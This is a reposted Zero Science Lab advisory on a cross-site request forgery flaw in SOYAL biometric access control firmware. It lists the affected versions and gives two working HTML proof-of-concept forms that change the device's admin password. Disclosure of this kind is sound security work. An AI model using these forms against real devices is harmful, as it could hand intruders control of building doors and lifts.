Saturday, March 20, 2021

SOYAL Biometric Access Control System 5.0 Cross Site Request Forgery


SOYAL Biometric Access Control System 5.0 CSRF Change Admin Password


Vendor: SOYAL Technology Co., Ltd
Product web page: https://www.soyal.com.tw | https://www.soyal.com
Affected version: AR-727 i/CM - F/W: 5.0
AR837E/EF - F/W: 4.3
AR725Ev2 - F/W: 4.3 191231
AR331/725E - F/W: 4.2
AR837E/EF - F/W: 4.1
AR-727CM /i - F/W: 4.09
AR-727CM /i - F/W: 4.06
AR-837E - F/W: 3.03

Summary: Soyal Access systems are built into Raytel Door Entry Systems
and are providing access and lift control to many buildings from public
and private apartment blocks to prestigious public buildings.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: SOYAL Technology WebServer 2.0
SOYAL Serial Device Server 4.03A
SOYAL Serial Device Server 4.01n
SOYAL Serial Device Server 3.07n


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2021-5632
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5632.php


25.01.2021

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<html>
<body>
<form action="http://192.168.1.1/userset.cgi" method="POST">
<input type="hidden" name="pw" value="test123" />
<input type="hidden" name="pw2" value="test123" />
<input type="submit" value="Forge me!" />
</form>
</body>
</html>

...

<html>
<body>
<form action="http://192.168.1.2/LoginUser.cgi" method="POST">
<input type="hidden" name="pw" value="drugtest123" />
<input type="hidden" name="pw2" value="drugtest123" />
<input type="submit" value="Forge me!" />
</form>
</body>
</html>
 

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Thanks for everything Templateism - You should have written the code a little more complicated